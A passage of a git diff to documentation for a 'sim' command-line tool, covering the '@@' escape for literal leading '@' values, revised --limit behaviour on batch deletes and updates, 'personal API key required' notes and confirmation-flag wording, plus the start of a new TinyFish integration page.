'wf_3Qm8ZtLpR2yVnKd7BsXwC\nwf_5Hn1JvTqW9xUcMb4RzPgL\n' | sim files mv --file-ids @- --to Archive ``` Arrays of objects stay JSON. +## Passing a literal leading `@` + +Because `@` introduces a file reference, a value that genuinely starts with one +is written `@@`. Only the leading `@` is dropped, and every `@`-aware flag +accepts the escape: + +```bash +sim files share set wf_3Qm8ZtLpR2yVnKd7BsXwC --allowed-emails @@example.org +sim secrets set API_HOST --value @@internal +``` + +Without it, `--allowed-emails @example.org` can only be read as a request to +open a file named `example.org`. + ## Filtering table rows `--filter` takes the same predicate tree the API uses: `all` (AND) or `any` (OR) groups of `{field, op, value}` conditions, nestable. ```bash -sim tables rows query tbl_123 \ +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 \ --filter '{"all":[{"field":"status","op":"eq","value":"open"}, {"field":"score","op":"gt","value":10}]}' \ --limit 50 @@ -50,7 +64,7 @@ Operators: `eq`, `ne`, `gt`, `gte`, `lt`, `lte`, `in`, `nin`, `contains`, `--sort` is also JSON, an ordered list of keys: ```bash -sim tables rows query tbl_123 --sort '[{"field":"createdAt","direction":"desc"}]' +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --sort '[{"field":"createdAt","direction":"desc"}]' ``` ## Pagination @@ -68,16 +82,18 @@ Deletions require an explicit selector **and** `--yes`. There is no "delete everything" default: ```bash -sim tables rows batch-delete tbl_123 --row row_1 row_2 --yes -sim files delete file_123 --yes +sim tables rows batch-delete tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --row row_2f81c0a94db54e6f8a13c7e0526bd94a row_6b3e59d0af1c42d7b80e94f3a271c568 --yes +sim files delete wf_8Kd2NpVrY6zTfQa3XwBmS --yes ``` Without `--yes` the command explains what it would have destroyed and stops. -`batch-delete` and `batch-update` carry the default `--limit` of `100`, so a -filter matching more rows than that silently affects only the first 100. Pass -`--limit 0` to affect every matching row. +On `batch-delete` and `batch-update`, `--limit` has no default and is not a page +size — it is a ceiling on how many matching rows the one call may touch. Leave it +off and the command acts on **every** row the filter matches, however many that +is. `--limit 0` is not the unbounded form here and is rejected; pass a whole +number of 1 or more to cap the blast radius, or omit the flag deliberately. ## Exit codes @@ -92,7 +108,7 @@ Errors print one line to stderr, prefixed `Error:`, plus the API's error code an validation details when it supplies them. Failures are safe to branch on: ```bash -if ! sim workflows run wf_7Yb2 --output json > result.json; then +if ! sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json > result.json; then echo "run failed" >&2 exit 1 fi @@ -117,11 +133,23 @@ esac ## Selecting workflow output -`--select-output` takes `blockName.field` selectors. Fields that a run did not -produce are simply omitted: +`--select-output` shapes a streamed result, so it requires `--follow`. It takes +`blockName.field` selectors; fields that a run did not produce are simply +omitted: + +```bash +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --follow --select-output agent_1.content --output json +``` + +Without `--follow` the CLI refuses the pair rather than spending a request on a +response that carries no outputs, and `--async` cannot be combined with it +either — there is no stream to shape. To narrow a run that has already finished, +read it back with `workflows runs get`, which matches block **ids** rather than +the block names `workflows run` takes: ```bash -sim workflows run wf_7Yb2 --select-output agent_1.content --output json +sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 \ + --select-output 1d4c8f02-7b63-4a19-8e52-63f0a7c5d9b1.content --output json ``` ## Polling a long run @@ -129,9 +157,9 @@ sim workflows run wf_7Yb2 --select-output agent_1.content --output json Start the run asynchronously, then poll its status: ```bash -run_id=$(sim workflows run wf_7Yb2 --async --output json | jq -r '.runId') +run_id=$(sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --async --output json | jq -r '.runId') -until sim workflows runs get "$run_id" --workflow wf_7Yb2 --output json \ +until sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json \ | jq -e '.status | IN("completed","failed","cancelled")' > /dev/null; do sleep 5 done @@ -169,9 +197,9 @@ export SIM_API_KEY="${SIM_API_KEY:?missing}" export SIM_WORKSPACE="${SIM_WORKSPACE:?missing}" export SIM_OUTPUT=json -run_id=$(sim workflows run wf_7Yb2 --input '{"source":"nightly"}' | jq -r '.runId') +run_id=$(sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"source":"nightly"}' | jq -r '.runId') -if [ "$(sim workflows runs get "$run_id" --workflow wf_7Yb2 | jq -r '.status')" != "completed" ]; then +if [ "$(sim workflows runs get "$run_id" --workflow 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 | jq -r '.status')" != "completed" ]; then sim logs get "$run_id" >&2 exit 1 fi diff --git a/apps/docs/content/docs/en/cli/secrets.mdx b/apps/docs/content/docs/en/cli/secrets.mdx index 9971d7eb1ab..f9bbbdb2cdb 100644 --- a/apps/docs/content/docs/en/cli/secrets.mdx +++ b/apps/docs/content/docs/en/cli/secrets.mdx @@ -15,13 +15,15 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim secrets delete [options] ``` +Delete Secret (personal API key required) + **Arguments** | Argument | Required | Description | | --- | --- | --- | -| `name` | Yes | Secret to create, replace, or delete. | +| `name` | Yes | Secret to delete. | @@ -32,7 +34,7 @@ sim secrets delete [options] | Option | Required | Description | | --- | --- | --- | | `--scope ` | Yes | Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace. Accepted values: `workspace`, `personal`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -42,6 +44,8 @@ sim secrets delete [options] sim secrets list [options] ``` +List Secrets (personal API key required) + **Options** @@ -62,6 +66,8 @@ sim secrets list [options] sim secrets set [options] ``` +Create or replace a named secret (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/skills.mdx b/apps/docs/content/docs/en/cli/skills.mdx index e6ffe5dc906..77d928a5ead 100644 --- a/apps/docs/content/docs/en/cli/skills.mdx +++ b/apps/docs/content/docs/en/cli/skills.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim skills create [options] ``` +Create Skill (personal API key required) + **Options** @@ -33,6 +35,8 @@ sim skills create [options] sim skills delete [options] ``` +Delete Skill (personal API key required) + **Arguments** @@ -49,7 +53,7 @@ sim skills delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -75,6 +79,8 @@ sim skills get sim skills editors create [options] ``` +Grant Skill Editor (personal API key required) + **Arguments** @@ -129,6 +135,8 @@ sim skills editors list [options] sim skills editors delete [options] ``` +Revoke Skill Editor (personal API key required) + **Arguments** @@ -146,7 +154,7 @@ sim skills editors delete [options] | Option | Required | Description | | --- | --- | --- | | `--email ` | Yes | Email address of a current workspace member. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -175,6 +183,8 @@ sim skills list [options] sim skills update [options] ``` +Update Skill (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/tables.mdx b/apps/docs/content/docs/en/cli/tables.mdx index a3804a0beab..f7d5b11166a 100644 --- a/apps/docs/content/docs/en/cli/tables.mdx +++ b/apps/docs/content/docs/en/cli/tables.mdx @@ -58,7 +58,7 @@ sim tables columns delete [options] | Option | Required | Description | | --- | --- | --- | | `--column-name ` | Yes | Name of the column to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -141,7 +141,7 @@ sim tables groups delete [options] | Option | Required | Description | | --- | --- | --- | | `--group-id ` | Yes | Workflow group to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -211,8 +211,8 @@ sim tables batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to archive, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -292,7 +292,7 @@ sim tables rows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -319,9 +319,9 @@ sim tables rows batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to delete. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -507,8 +507,8 @@ sim tables rows batch-update [options] | --- | --- | --- | | `--filter ` | Yes | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | | `--data ` | Yes | Row-data patch applied to every matching row. (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to update. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -562,7 +562,7 @@ sim tables dispatches cancel [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -588,11 +588,11 @@ sim tables dispatches create [options] | Option | Required | Description | | --- | --- | --- | -| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line). | +| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--run-mode ` | No | Whether to run all or only incomplete cells. Accepted values: `all`, `incomplete`. | -| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line). | +| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line). | +| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--max-rows ` | No | Stop after this many eligible rows have run (1-1,000,000). Omit for an unbounded run. | @@ -630,7 +630,7 @@ sim tables dispatches list -## Cancel table export +## Stop a running export ```bash sim tables exports cancel @@ -707,10 +707,10 @@ sim tables exports download -## Cancel table import +## Stop a running import ```bash -sim tables imports cancel +sim tables imports cancel [options] ``` **Arguments** @@ -723,6 +723,16 @@ sim tables imports cancel +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ## Get table import ```bash @@ -764,8 +774,8 @@ sim tables cancel-runs [options] | `--scope ` | Yes | Whether to cancel across the table or one row. Accepted values: `all`, `row`. | | `--row-id ` | No | Row whose runs should be canceled for row scope. | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -827,11 +837,11 @@ sim tables folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | -## List folders +## List table folders ```bash sim tables folders list [options] @@ -937,7 +947,7 @@ sim tables views delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1027,7 +1037,7 @@ sim tables delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1077,7 +1087,7 @@ sim tables list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--search ` | No | Case-insensitive substring match against the resource name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | @@ -1099,7 +1109,7 @@ sim tables move [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to move, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -1187,7 +1197,7 @@ sim tables upsert [options] | Option | Required | Description | | --- | --- | --- | -| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`. (JSON, or @path / @- to read a file or stdin). | +| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges. (JSON, or @path / @- to read a file or stdin). | | `--on ` | No | Unique column to resolve the conflict against. | @@ -1222,6 +1232,7 @@ sim tables import [path] [options] | `--mapping ` | No | Column mapping (--table-id only). | | `--create-columns ` | No | Columns to create (--table-id only). | | `--timezone ` | No | Timezone for date parsing, e.g. America/New_York. | +| `-y, --yes` | No | Confirm this destructive operation (required with --mode replace). | | `--no-wait` | No | Return once the import is queued instead of watching it. | diff --git a/apps/docs/content/docs/en/cli/troubleshooting.mdx b/apps/docs/content/docs/en/cli/troubleshooting.mdx index c8ecdcef039..8bf2dfd58c0 100644 --- a/apps/docs/content/docs/en/cli/troubleshooting.mdx +++ b/apps/docs/content/docs/en/cli/troubleshooting.mdx @@ -53,8 +53,8 @@ Your shell consumed the quotes. Wrap the whole value in single quotes, or read i from a file: ```bash -sim tables rows query tbl_123 --filter '{"all":[{"field":"status","op":"eq","value":"open"}]}' -sim tables rows query tbl_123 --filter @filter.json +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter '{"all":[{"field":"status","op":"eq","value":"open"}]}' +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter @filter.json ``` ## A value looks truncated @@ -63,7 +63,7 @@ sim tables rows query tbl_123 --filter @filter.json switch to a machine format to see it in full: ```bash -sim logs get run_123 --output json +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --output json ``` ## `sim files get` refuses to print to the terminal @@ -72,8 +72,8 @@ Writing arbitrary binary to an interactive terminal can corrupt it, so non-text content has to go to a file or a pipe: ```bash -sim files get file_123 -o ./image.png -sim files get file_123 | shasum +sim files get wf_8Kd2NpVrY6zTfQa3XwBmS -o ./image.png +sim files get wf_8Kd2NpVrY6zTfQa3XwBmS | shasum ``` ## A stored output format is invalid diff --git a/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx b/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx index 62a3528f07c..ca7ca03a730 100644 --- a/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx +++ b/apps/docs/content/docs/en/cli/workflow-mcp-servers.mdx @@ -13,6 +13,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim workflow-mcp-servers create [options] ``` +Create Workflow MCP Server (personal API key required) + **Options** @@ -23,7 +25,7 @@ sim workflow-mcp-servers create [options] | `--description ` | No | Optional server description. | | `--is-public` | No | Whether the server answers MCP clients without a Sim API key. Defaults to false — a public server executes the workflows it publishes for anyone holding its URL. | | `--no-is-public` | No | Send --is-public as false. | -| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -33,6 +35,8 @@ sim workflow-mcp-servers create [options] sim workflow-mcp-servers delete [options] ``` +Delete Workflow MCP Server (personal API key required) + **Arguments** @@ -49,7 +53,7 @@ sim workflow-mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -59,6 +63,8 @@ sim workflow-mcp-servers delete [options] sim workflow-mcp-servers tools create [options] ``` +Publish Workflow As MCP Tool (personal API key required) + **Arguments** @@ -88,6 +94,8 @@ sim workflow-mcp-servers tools create [options] sim workflow-mcp-servers tools list ``` +List Workflow MCP Tools (personal API key required) + **Arguments** @@ -104,6 +112,8 @@ sim workflow-mcp-servers tools list sim workflow-mcp-servers tools delete [options] ``` +Unpublish Workflow MCP Tool (personal API key required) + **Arguments** @@ -121,7 +131,7 @@ sim workflow-mcp-servers tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -131,6 +141,8 @@ sim workflow-mcp-servers tools delete [options] sim workflow-mcp-servers get ``` +Get Workflow MCP Server (personal API key required) + **Arguments** @@ -147,6 +159,8 @@ sim workflow-mcp-servers get sim workflow-mcp-servers list [options] ``` +List Workflow MCP Servers (personal API key required) + **Options** @@ -165,6 +179,8 @@ sim workflow-mcp-servers list [options] sim workflow-mcp-servers update [options] ``` +Update Workflow MCP Server (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/workflows.mdx b/apps/docs/content/docs/en/cli/workflows.mdx index 648f28967e6..18c783a1c31 100644 --- a/apps/docs/content/docs/en/cli/workflows.mdx +++ b/apps/docs/content/docs/en/cli/workflows.mdx @@ -12,9 +12,11 @@ Every command below also accepts the [global options](/cli/commands#global-optio ## Activate workflow version ```bash -sim workflows activate create +sim workflows activate create [options] ``` +Activate Workflow Version (personal API key required) + **Arguments** @@ -26,12 +28,24 @@ sim workflows activate create +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ## Apply workflow operations ```bash sim workflows operations apply [options] ``` +Apply Workflow Operations (personal API key required) + **Arguments** @@ -50,12 +64,12 @@ sim workflows operations apply [options] | --- | --- | --- | | `--dry-run` | No | Validate and lint without persisting. The response is identical to the committed write of the same body, so a caller can inspect `lint` and then re-send the request for real. Nothing is written, no audit entry is recorded, and collaborators are not notified. | | `--no-dry-run` | No | Send --dry-run as false. | -| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also insert_into_subflow and extract_from_subflow, whose params carry {"subflowId":"<loop-id>"} (JSON, or @path / @- to read a file or stdin). | +| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also extract_from_subflow, whose params carry {"subflowId":"<loop-id>"}, and insert_into_subflow, which creates a block and so takes an add’s params plus that subflowId (JSON, or @path / @- to read a file or stdin). | | `--atomic` | No | Fail the whole batch when any operation is declined or any block input would be dropped. The default applies what it can and reports the rest in `skipped` and `inputValidationErrors`; `true` writes nothing and answers `409` instead. | | `--no-atomic` | No | Send --atomic as false. | | `--layout ` | No | Whether to reposition blocks the batch touched. `targeted` (default) nudges only the affected subgraph; `none` leaves every position exactly as supplied. Accepted values: `targeted`, `none`. | | `--set-block-enabled ` | No | Blocks to enable or disable, applied after --operations: [{"block_id":"<uuid>","enabled":false}]. Disabling a loop or parallel cascades to its unlocked descendants; enabling a block whose container is disabled is declined (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -82,7 +96,7 @@ sim workflows variables update [options] | Option | Required | Description | | --- | --- | --- | | `--operations ` | Yes | Variable changes to apply in order, keyed by operation: [{"operation":"add","name":"my_var","type":"string","value":"hello"},{"operation":"edit","name":"my_var","value":"updated"},{"operation":"delete","name":"my_var"}] (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -138,7 +152,7 @@ Show run status (requested outputs are included in JSON or YAML output) | --- | --- | --- | | `--workflow ` | Yes | Workflow ID. | | `--include-output` | No | Include the final output in JSON or YAML output. | -| `--select-output ` | No | Include blockName.field values in JSON or YAML output (e.g. agent_1.content) (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Include blockId or blockId.path values in JSON or YAML output; block names are not resolved on a finished run (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline each produced file's bytes as base64. Requires `includeOutput`. A file above the inline ceiling answers `413` naming its download path; fetch large files from `downloadPath` instead. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Per-file inline ceiling, lowering but never raising the server limit of 16 MiB. | @@ -281,7 +295,7 @@ sim workflows folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -347,7 +361,7 @@ sim workflows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -357,6 +371,8 @@ sim workflows delete [options] sim workflows chat unpublish [options] ``` +Take a workflow’s chat deployment offline (personal API key required) + **Arguments** @@ -373,7 +389,7 @@ sim workflows chat unpublish [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -383,6 +399,8 @@ sim workflows chat unpublish [options] sim workflows chat status ``` +Show a workflow’s chat deployment (personal API key required) + **Arguments** @@ -399,6 +417,8 @@ sim workflows chat status sim workflows chat publish [options] ``` +Publish or replace a workflow’s chat deployment (personal API key required) + **Arguments** @@ -427,7 +447,7 @@ sim workflows chat publish [options] | `--no-include-thinking` | No | Send --include-thinking as false. | | `--include-tool-calls` | No | Allow visitors to receive tool lifecycle events. | | `--no-include-tool-calls` | No | Send --include-tool-calls as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -437,6 +457,8 @@ sim workflows chat publish [options] sim workflows deploy [options] ``` +Deploy Workflow (personal API key required) + **Arguments** @@ -510,7 +532,7 @@ sim workflows run [options] | `--input ` | No | Trigger input as JSON (JSON, or @path / @- to read a file or stdin). | | `--async` | No | Queue the run and return immediately. | | `--execution-timeout-seconds ` | No | Requested server-side timeout for an asynchronous run, in seconds. An upper bound, not the effective timeout: the run uses the smaller of this value and the plan's execution timeout, so requesting more than the plan allows silently yields the plan timeout. Rejected with `400` unless `async` is true. | -| `--select-output ` | No | Return blockName.field values (e.g. agent_1.content); missing fields are omitted (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Return blockName.field values from the streamed result (e.g. agent_1.content), requires --follow; missing fields are omitted (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline eligible output files as base64 content. Rejected when `async` is true. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Maximum total bytes of file content to inline as base64, lowering but never raising the server limit of 16 MiB. Rejected when `async` is true. | @@ -580,6 +602,8 @@ sim workflows deployment status sim workflows deployment update [options] ``` +Update Workflow Public API Access (personal API key required) + **Arguments** @@ -622,6 +646,8 @@ sim workflows state get sim workflows state replace [options] ``` +Replace Workflow State (personal API key required) + **Arguments** @@ -645,7 +671,7 @@ sim workflows state replace [options] | `--loops ` | No | Ignored on write: loop containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--parallels ` | No | Ignored on write: parallel containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--variables ` | No | Replacement variable set. Omit to leave the stored variables untouched. (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -751,7 +777,7 @@ sim workflows list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--deployed-only` | No | Return only workflows with an active deployment when true. | | `--no-deployed-only` | No | Send --deployed-only as false. | @@ -774,7 +800,7 @@ sim workflows move [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | Yes | Destination folder path; / moves the workflows to the workspace root. | @@ -801,6 +827,8 @@ sim workflows restore sim workflows revert create [options] ``` +Revert Workflow To Version (personal API key required) + **Arguments** @@ -818,7 +846,7 @@ sim workflows revert create [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -828,6 +856,8 @@ sim workflows revert create [options] sim workflows rollback [options] ``` +Rollback Workflow (personal API key required) + **Arguments** @@ -845,7 +875,7 @@ sim workflows rollback [options] | Option | Required | Description | | --- | --- | --- | | `--to-version ` | No | Deployment version to reactivate. Omit to select the previous active version. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -855,6 +885,8 @@ sim workflows rollback [options] sim workflows undeploy [options] ``` +Take a workflow out of deployment (personal API key required) + **Arguments** @@ -871,7 +903,7 @@ sim workflows undeploy [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/integrations/meta.json b/apps/docs/content/docs/en/integrations/meta.json index 0a9bb314539..2c0e2c9eed0 100644 --- a/apps/docs/content/docs/en/integrations/meta.json +++ b/apps/docs/content/docs/en/integrations/meta.json @@ -258,6 +258,7 @@ "thrive", "tiktok", "tinybird", + "tinyfish", "trello", "trello-service-account", "trigger_dev", diff --git a/apps/docs/content/docs/en/integrations/tinyfish.mdx b/apps/docs/content/docs/en/integrations/tinyfish.mdx new file mode 100644 index 00000000000..e110597c167 --- /dev/null +++ b/apps/docs/content/docs/en/integrations/tinyfish.mdx @@ -0,0 +1,350 @@ +--- +title: TinyFish +description: Automate and read the live web +--- + +import { BlockInfoCard } from "@/components/ui/block-info-card" + + + +{/* MANUAL-CONTENT-START:intro */} +[TinyFish](https://www.tinyfish.ai/) is web infrastructure for AI agents. Instead of maintaining a scraper per site, you give a TinyFish web agent a natural-language goal and a starting URL, and it drives a real browser — clicking, typing, paginating, logging in — until 